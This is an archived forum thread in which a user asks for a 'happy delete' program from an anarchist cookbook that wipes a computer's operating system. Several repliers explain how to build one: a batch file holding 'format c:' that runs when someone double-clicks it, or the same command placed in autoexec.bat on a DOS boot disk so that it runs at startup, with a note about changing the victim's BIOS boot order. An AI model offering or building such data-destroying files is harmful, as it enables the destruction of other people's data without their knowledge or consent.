View Full Version : Is there a Happy Delete?

In one of the first anarchist cookbooks I read (jolly rogers) there was a program for ECHO: happy delete, where it would remove the entire operating system from the computer, I have been working with the code they listed in there on C++ but I cant get it to work, I was wondering if there is already a program out there and if there is, where can I get it?

that is because the code is .bat or a batch file
and all the echo command does is print out happy delete
and then im guessing formats the hard drive

from the DOS prompt type:
format c:
and that should do the trick.
You can save that command in a batch file and it will run when someone double clicks on it.

I haven't used it except on a floppy drive, so I don't know. Best thing would be to create a DOS boot disk, and include the command at the bottom of the autoexec.bat file.

WHat do you save the file under?
After you've created a DOS boot disk.
Open up Notepad
Type: "format c:" without the quotes
save it on the boot disk as "autoexec.bat"

also you might have to go into there BIOS and change the start up drive to the floppy which is probably A
i changed mine so it just goes straight to the hard drive
